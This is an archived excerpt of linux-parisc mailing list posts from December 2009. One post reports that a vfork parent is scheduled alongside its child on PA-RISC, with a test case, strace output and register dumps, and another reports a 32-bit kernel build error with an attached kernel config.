List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2402>

Kyle,

On Linux when a parent process calls vfork, the child process must run
without interruption by the parent until it executes exit or one of
the exec family functions. The parent process must be suspended until
the child calls exit or one of the execve family of functions.

While debugging an emacs failure I was able to reliable cause a
situation where the parent process was not suspended and the following
happened:

* Parent vfork's child
* Child starts.
* Parent is erroneously scheduled and calls close.
* Child attempts an ioctl on a file and sets errno to ENOTTY.
* Parent is scheduled again and checks the errno for close, which has
been clobbered by the child, and reports a failure.
* Parent kills child and exits with error ENOTTY.

Strictly according to POSIX the child should not have attempted an
ioctl, but on linux we expect the parent to be suspended and never see
an inconsistent memory state.

An strace of the parent process shows:
~~~
vfork(Process 24156 attached (waiting for parent)
Process 24156 resumed (parent 24155 ready)
)                                 = 24156
[pid 24156] close(4 <unfinished ...>
[pid 24155] close(5 <unfinished ...>
[pid 24156] <... close resumed> )       = 0
[pid 24155] <... close resumed> )       = 0
[pid 24155] close(3)                    = 0
[pid 24155] read(4,  <unfinished ...>
[pid 24156] setsid()                    = 24156
[pid 24156] setpgid(0, 0)               = -1 EPERM (Operation not permitted)
~~~
This indicates to me that 24155 and 24156 are being scheduled
concurrently, along with the failure that is only possible due to
interleaved execution. The child got to run a close(), and so did the
parent, the parent even started a read() before it was blocked and the
child continued.

This type of scheduling error could cause serious problems randomly in
every process that calls vfork. The more a child does before execve
the larger the window for the parent to be clobbered by the child.

How does the generic kernel infrastructure determine not to schedule
the parent of a vfork?

I've been reading through our arch/parisc/kernel/process.c and
kernel/sched.c without any success yet.

A quick hack to convince me that this is the situation would help. I'm
running your 2.6.32-rc6.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: vfork test case.
Date: Sun, 6 Dec 2009 16:19:13 -0500
Lines: 223
Approved: news@gmane.org
Message-ID: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0015174795727e380d047a15e4c8
X-Trace: ger.gmane.org 1260134367 11930 80.91.229.12 (6 Dec 2009 21:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Dec 2009 21:19:27 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 06 22:19:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NHOVh-0002Km-Hw
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Dec 2009 22:19:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934223AbZLFVTJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Dec 2009 16:19:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934235AbZLFVTJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Dec 2009 16:19:09 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:42589 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934223AbZLFVTI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Dec 2009 16:19:08 -0500
Original-Received: by bwz27 with SMTP id 27so3088778bwz.21
        for <linux-parisc@vger.kernel.org>; Sun, 06 Dec 2009 13:19:13 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=OqBWgsfGn6xahYbRKmhb+D2yeIF3a1fmYdkVs+t5dpE=;
        b=n0ty683i1T0nmodbjYULJRDNm5WC8qlboWUjPy/JUu9Qq3z2nUtpTdKNgxFEP6q8cc
         CJSYLw5ENY9Yw685WwBwWW1JbOGdMfxq0j/h5ZNN0SDjiWecIw+PjsOxx7lMZMPpwibc
         WXw6lvy55ICBR9YFWLRHPUxCZRdJDvrktf0iQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=f/CJpUJKtlre2lxzvT6xaZODD2zroTDs6ZLohUJuh1y6mgTQ+L+1Y7/+zDAuinyW7Q
         DnNcvT0VrW0dpY6g4Ll/0zOJXfHRTrgzf/0/+sqLClUpxloLqvI0hvD8uszgYj5jodl9
         IZZUj/RIipj04OpeQD3uR3Ab48eXwdrFkd910=
Original-Received: by 10.204.154.207 with SMTP id p15mr5940613bkw.202.1260134353221; 
	Sun, 06 Dec 2009 13:19:13 -0800 (PST)
X-Google-Sender-Auth: 645b268f1a7bb967
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2403>

--0015174795727e380d047a15e4c8
Content-Type: text/plain; charset=ISO-8859-1

Kyle, James,

I have constructed a vfork test case which shows some of the problems
I have using vfork reliably. This fails every time on my PA8700 system
running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
being corrupted.

The intent of the testcase is to do the following:
(a) vfork
(b) Launch "ls -l" in the vfork'd child.
(c) Print some information in the parent.

~~~ vfork.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main (void)
{
  pid_t child;
  char *cmd[] = { "ls", "-l", (char *)0 };
  char *env[] = { "HOME=/tmp", (char *)0 };

  child = vfork();

  if (child == 0)
    {
      execve("/bin/ls", cmd, env);
    }
  else
    {
      printf("child != 0\n");
    }

  printf("child is 0x%x\n", (unsigned int)child);

  return 0;
}
~~~
Compile this test case twice:
gcc -O1 -g -o vfork-O1 vfork.c
gcc -O0 -g -o vfork-O0 vfork.c

When run on x86, the following are the results:
~~~ vfork-O1
child != 0
child is 0x34e3
total 4824848
-rw-r--r--  1 carlos carlos      25135 Sep  2 10:41
"${BuildArtifactFileName}.map"
... [snip]
~~~
~~~ vfork-O0
child != 0
child is 0x3515
total 4824880
-rw-r--r--  1 carlos carlos      25135 Sep  2 10:41
"${BuildArtifactFileName}.map"
~~~

This x86 runs are correct.

However, on hppa compiling with gcc version 4.3.4 (Debian 4.3.4-6) I
get the following:
~~~ vfork-O1
./vfork-O1
child is 0x40552aac
carlos@firin:~/fsrc$ total 284
drwxr-xr-x  8 carlos carlos  4096 Jul 14  2005 binutils-old-work
... [snip]
~~~

The return from vfork is corrupted in the parent.

This gets worse at -O0.

~~~ vfork-O0
child is 0x405551a0
Illegal instruction
carlos@firin:~/fsrc$ total 284
drwxr-xr-x  8 carlos carlos  4096 Jul 14  2005 binutils-old-work
... [snip file list]
~~~
The kernel says:
vfork-O0 (pid 16313): Illegal instruction (code 8) at 000000004054ec77

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  000000ff0006ff0f 00000000c06be968 000000004054ec70 00000000405551a4
r04-07  0000000040552aac 0000000000011b8a 0000000040553aac 00000000000f8c48
r08-11  00000000000f8a48 0000000000000000 00000000000c0000 00000000000f5808
r12-15  00000000000e8404 00000000000e8408 00000000ffffffff 0000000000000000
r16-19  0000000000000000 00000000000e6c40 00000000000e3fbc 00000000401f07c0
r20-23  0000000000000000 0000000040001900 00000000401e65f4 0000000000000000
r24-27  fffffffffffffff5 0000000000000000 00000000c06be42c 0000000000011b50
r28-31  0000000000000000 0000000000000000 0000000040552aac 000000004043d053
sr00-03  00000000053b5800 0000000000000000 0000000000000000 00000000053b5800
sr04-07  00000000053b5800 00000000053b5800 00000000053b5800 00000000053b5800

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  0000000040197fac 00000000405628cc 000000004060b9a0 4040000000000000
fr08-11  00000000401fd7ac 0000000000000000 000000009f81ebb8 000000009f8403e0
fr12-15  0000000000000002 000000009f81ebb0 000000009f81ebc0 000000004060b9a0
fr16-19  0000000000000002 000000009f80eac0 0000000040552b48 00000000f000022c
fr20-23  0000000040657140 00000000404e32f8 0000000000000700 00001c8c00000000
fr24-27  0000000000000000 000000004011c8ac 0000000040652ca0 fffffffffffff000
fr28-31  0000000000000000 ffffffffffffff9c 00000000401d4a68 0000000000000000

IASQ: 00000000053b5800 00000000053b5800 IAOQ: 000000004054ec77 000000004054ec7b
 IIR: 0015e5b6    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        0   CR30: 00000000458a8000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000000
 IAOQ[0]: 000000004054ec77
 IAOQ[1]: 000000004054ec7b
 RP(r2): 000000004054ec70
~~~

However, when running the -O1 version under ptrace, it works:
~~~
strace -o strace.log -ff ./vfork-O1
child != 0
child is 0x40b7
total 340
drwxr-xr-x  8 carlos carlos  4096 Jul 14  2005 binutils-old-work
... [snip]
~~~

This indicates to me that the kernel is corrupting the parent process
after vfork, and the testcase shows it. I have reviewed the assembly
generated by the compiler and I can't show that anything is wrong.

To remove the C library from the loop I attach a complete vfork
implementation as used by glibc.

You can compile the test case using:
gcc -O1 -g -o vfork-O1 vfork.c pt-vfork.s

This will call the vfork in pt-vfork.s and allow you to adjust the
instructions stream up to and including removing the vfork system call
e.g. ble 0x100(%sr2,%r0).

For example I use "iitlbp %r0,(%sr0, %r0)" to force a fault in either
the parent or the child.

Please note that this pt-vfork.s isn't exactly as used in glibc, I
have expanded the return sequence for both child and parent so you can
cause a fault in one the other or both independently.

In summary:
* Test case works on x86.
* Test case fails on hppa.
* Test case works on hppa under strace.

What are we doing wrong and where is the bug?

Cheers,
Carlos.

--0015174795727e380d047a15e4c8
Content-Type: application/octet-stream; name="pt-vfork.s"
Content-Disposition: attachment; filename="pt-vfork.s"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g2wb63d90

IyAxICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHQtdmZvcmsu
UyIKIyAxICI8YnVpbHQtaW4+IgojIDEgIjxjb21tYW5kLWxpbmU+IgojIDEgIi4vLi4vaW5jbHVk
ZS9saWJjLXN5bWJvbHMuaCIgMQojIDU0ICIuLy4uL2luY2x1ZGUvbGliYy1zeW1ib2xzLmgiCiMg
MSAiL2hvbWUvY2FybG9zL2ZzcmMvZ2xpYmMtd29yay9idWlsZHMvZ2xpYmMvY29uZmlnLmgiIDEK
IyA1NSAiLi8uLi9pbmNsdWRlL2xpYmMtc3ltYm9scy5oIiAyCiMgODIzICIuLy4uL2luY2x1ZGUv
bGliYy1zeW1ib2xzLmgiCiMgMSAiLi4vc3lzZGVwcy93b3Jkc2l6ZS0zMi9zeW1ib2wtaGFja3Mu
aCIgMQojIDgyNCAiLi8uLi9pbmNsdWRlL2xpYmMtc3ltYm9scy5oIiAyCiMgMSAiPGNvbW1hbmQt
bGluZT4iIDIKIyAxICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwv
cHQtdmZvcmsuUyIKIyAxOSAiLi4vcG9ydHMvc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9u
cHRsL3B0LXZmb3JrLlMiCiMgMSAiLi4vcG9ydHMvc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9zeXNkZXAuaCIgMQojIDIzICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBh
L3N5c2RlcC5oIgojIDEgIi91c3IvaW5jbHVkZS9hc20vdW5pc3RkLmgiIDEgMyA0CiMgMjQgIi4u
L3BvcnRzL3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvc3lzZGVwLmgiIDIKIyAxICIuLi9z
eXNkZXBzL2dlbmVyaWMvc3lzZGVwLmgiIDEKIyAyNSAiLi4vcG9ydHMvc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9zeXNkZXAuaCIgMgojIDEgIi4uL3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4
L3N5cy9zeXNjYWxsLmgiIDEKIyAyNiAiLi4vcG9ydHMvc3lzZGVwcy91bml4L3N5c3YvbGludXgv
aHBwYS9zeXNkZXAuaCIgMgojIDIwICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL25wdGwvcHQtdmZvcmsuUyIgMgoKIyAxICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL2JpdHMvZXJybm8uaCIgMQojIDI1ICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL2JpdHMvZXJybm8uaCIKIyAxICIvdXNyL2luY2x1ZGUvbGludXgvZXJybm8u
aCIgMSAzIDQKCgoKIyAxICIvdXNyL2luY2x1ZGUvYXNtL2Vycm5vLmgiIDEgMyA0CgoKCiMgMSAi
L3Vzci9pbmNsdWRlL2FzbS1nZW5lcmljL2Vycm5vLWJhc2UuaCIgMSAzIDQKIyA1ICIvdXNyL2lu
Y2x1ZGUvYXNtL2Vycm5vLmgiIDIgMyA0CiMgNSAiL3Vzci9pbmNsdWRlL2xpbnV4L2Vycm5vLmgi
IDIgMyA0CiMgMjYgIi4uL3BvcnRzL3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvYml0cy9l
cnJuby5oIiAyCiMgMjIgIi4uL3BvcnRzL3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0
bC9wdC12Zm9yay5TIiAyCiMgMSAiL2hvbWUvY2FybG9zL2ZzcmMvZ2xpYmMtd29yay9idWlsZHMv
Z2xpYmMvdGNiLW9mZnNldHMuaCIgMQojIDIzICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL25wdGwvcHQtdmZvcmsuUyIgMgojIDUyICIuLi9wb3J0cy9zeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9ocHBhL25wdGwvcHQtdmZvcmsuUyIKLnRleHQgISAKLmFsaWduIDQgISAKLmV4
cG9ydCBfX3Zmb3JrICEgCi50eXBlIF9fdmZvcmssQGZ1bmN0aW9uICEgCl9fdmZvcms6ICEgCi5Q
Uk9DICEgCi5DQUxMSU5GTyBGUkFNRT02NCxDQUxMUyxTQVZFX1JQLEVOVFJZX0dSPTMgISAKLkVO
VFJZICEgISAKIHN0dyAlcnAsIC0yMCglc3IwLCVzcCkgIQoKIHN0d20gJXIzLCA2NCglc3ApCiBz
dHcgJXNwLCAtNCglc3ApCiBzdHcgJXIxOSwgLTMyKCVzcCkKCgoKIGNvcHkgJXIxOSwgJXIyNQoK
CgogbWZjdGwgJWNyMjcsICVyMjYgISAKIGxkdyAtMTA0NCglcjI2KSwlcjEgISAKIHN1YiAlcjAs
JXIxLCVyMSAhIAogc3R3ICVyMSwtMTA0NCglcjI2KSAhCgoKIGJsZSAweDEwMCglc3IyLCVyMCkK
IGxkaSAoMCArIDExMyksJXIyMAoKCiBjbXBiLD0sbiAlcjAsJXJldDAsLkx0aHJlYWRfc3RhcnQg
ISAKIG1mY3RsICVjcjI3LCAlcjI2ICEgCiBsZHcgLTEwNDQoJXIyNiksJXIxICEgCiBzdWIgJXIw
LCVyMSwlcjEgISAKIHN0dyAlcjEsLTEwNDQoJXIyNikgISAKCiBsZGkgLTQwOTYsJXIxCiBjb21j
bHIsPj49ICVyMSwlcmV0MCwlcjAKIGIsbiAuTGVycm9yCgogLyogaWl0bGJwICVyMCwoJXNyMCwg
JXIwKSAqLwogbGR3IC04NCglc3ApLCAlcnAKIGJ2ICVyMCglcnApCiBsZHdtIC02NCglc3ApLCAl
cjMKCi5MdGhyZWFkX3N0YXJ0OiAhCgogbGRpIC00MDk2LCVyMQogY29tY2xyLD4+PSAlcjEsJXJl
dDAsJXIwCiBiLG4gLkxlcnJvcgoKIGxkdyAtODQoJXNwKSwgJXJwCiBidiAlcjAoJXJwKQogbGR3
bSAtNjQoJXNwKSwgJXIzCgouTGVycm9yOgogc3ViICVyMCwlcmV0MCwlcjMKIC5pbXBvcnQgX19l
cnJub19sb2NhdGlvbixjb2RlICEgISAKIGJsIF9fZXJybm9fbG9jYXRpb24sJXJwICEKCiBjb3B5
ICVyMjUsICVyMTkKCiBzdHcgJXIzLCAwKCVyZXQwKQogbGR3IC04NCglc3ApLCAlcnAKIGJ2ICVy
MCglcnApCiBsZHdtIC02NCglc3ApLCAlcjMKLkVYSVQgISAuUFJPQ0VORCAhIC5zaXplIF9fdmZv
cmssIC4tX192Zm9yayAhCgoud2VhayB2Zm9yayAhIHZmb3JrID0gX192Zm9yawo=
--0015174795727e380d047a15e4c8--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Mon, 7 Dec 2009 23:35:48 +0100
Lines: 1494
Approved: news@gmane.org
Message-ID: <20091207223548.GA4515@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="fdj2RfSjLxBAspz7"
X-Trace: ger.gmane.org 1260225720 20743 80.91.229.12 (7 Dec 2009 22:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Dec 2009 22:42:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 07 23:41:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NHmH9-0002hZ-Qa
	for glpp-linux-parisc@lo.gmane.org; Mon, 07 Dec 2009 23:41:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933422AbZLGWlo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Dec 2009 17:41:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934088AbZLGWlo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Dec 2009 17:41:44 -0500
Original-Received: from ey-out-2122.google.com ([74.125.78.27]:29420 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933422AbZLGWll (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Dec 2009 17:41:41 -0500
Original-Received: by ey-out-2122.google.com with SMTP id d26so1255199eyd.19
        for <linux-parisc@vger.kernel.org>; Mon, 07 Dec 2009 14:41:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:subject
         :message-id:mail-followup-to:mime-version:content-type
         :content-disposition:user-agent;
        bh=qO/drLNw4gDaZdt8x02wrvlSbT3qwbN3qERLC2dEL70=;
        b=c6Z2ihaLnZIKAe02fAXobOcLOiVMvqEq9IdJajd9HXfemlaULx+FaV8AZlHKHr7FaN
         gmO67+GP7GhSLH4ofO8c2Z+xLuejpKtpOZhLNjVHbYiG6VsDJJrqp9mCCDK877IJhKaO
         798GX/ttJNyA+uuM6zY5uW0wE2WtEIAUYiezE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mail-followup-to:mime-version
         :content-type:content-disposition:user-agent;
        b=bghge6FJB500Jr3cVm0rXGziBNlhw+jVsz6jR9UldKK+PdZ7J1Oa057cPxXJQJoXmZ
         csEWEkqhTGOVZiyJWXZxm43+yuKQ5OiiQGQJpPp3a1J269ZGS61DXZzTpTjXuu6LRnvV
         iUYgHxYa+i8sOTZWnGdjWWRSMX7VJ+xPnSwiM=
Original-Received: by 10.216.91.69 with SMTP id g47mr27619wef.167.1260225354250;
        Mon, 07 Dec 2009 14:35:54 -0800 (PST)
Original-Received: from raptus.dandreoli.com (host158-49-dynamic.45-79-r.retail.telecomitalia.it [79.45.49.158])
        by mx.google.com with ESMTPS id t12sm14798027gvd.20.2009.12.07.14.35.51
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Mon, 07 Dec 2009 14:35:52 -0800 (PST)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id 1D93DC001; Mon,  7 Dec 2009 23:35:49 +0100 (CET)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2404
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2404>


--fdj2RfSjLxBAspz7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

hi,

  i get the following error while building a 2.6.32 32bit kernel.
enabling CONFIG_DEBUG_SPINLOCK makes it go away. building a 64bit
kernel succeeds regardless the setting of CONFIG_DEBUG_SPINLOCK.

is anybody able to reproduce it? configuration is attached.

  CC      kernel/signal.o
  kernel/signal.c: In function 'copy_siginfo_to_user':
  kernel/signal.c:2145: warning: cast from pointer to integer of different size
  kernel/signal.c:2145: warning: cast from pointer to integer of different size
  kernel/signal.c:2152: warning: cast from pointer to integer of different size
  kernel/signal.c:2152: warning: cast from pointer to integer of different size
  kernel/signal.c:2168: warning: cast from pointer to integer of different size
  kernel/signal.c:2168: warning: cast from pointer to integer of different size
  kernel/signal.c: In function 'do_sigaltstack':
  kernel/signal.c:2489: warning: cast from pointer to integer of different size
  kernel/signal.c:2489: warning: cast from pointer to integer of different size
  kernel/signal.c: In function 'get_signal_to_deliver':
  /home/cavok/devel/kernel/linux-2.6.git/arch/parisc/include/asm/spinlock.h:25: error: can't find a register in class 'R1_REGS' while reloading 'asm'
  /home/cavok/devel/kernel/linux-2.6.git/arch/parisc/include/asm/spinlock.h:25: error: 'asm' operand has impossible constraints
  make[1]: *** [kernel/signal.o] Error 1
  make: *** [kernel] Error 2

cheers,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50

--fdj2RfSjLxBAspz7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="config-2.6.32-broken-spinlock-asm"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.32
# Mon Dec  7 22:08:34 2009
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_IRQ_PER_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_CONSTRUCTORS=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_TREE_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_FANOUT=32
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_GROUP_SCHED is not set
# CONFIG_CGROUPS is not set
# CONFIG_SYSFS_DEPRECATED_V2 is not set
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_BLK_DEV_INITRD is not set
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
# CONFIG_PERF_COUNTERS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
# CONFIG_COMPAT_BRK is not set
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_USE_GENERIC_SMP_HELPERS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_SLOW_WORK is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_LBDAF is not set
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
# CONFIG_IOSCHED_AS is not set
CONFIG_IOSCHED_DEADLINE=y
# CONFIG_IOSCHED_CFQ is not set
# CONFIG_DEFAULT_AS is not set
CONFIG_DEFAULT_DEADLINE=y
# CONFIG_DEFAULT_CFQ is not set
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="deadline"
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_64BIT is not set
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
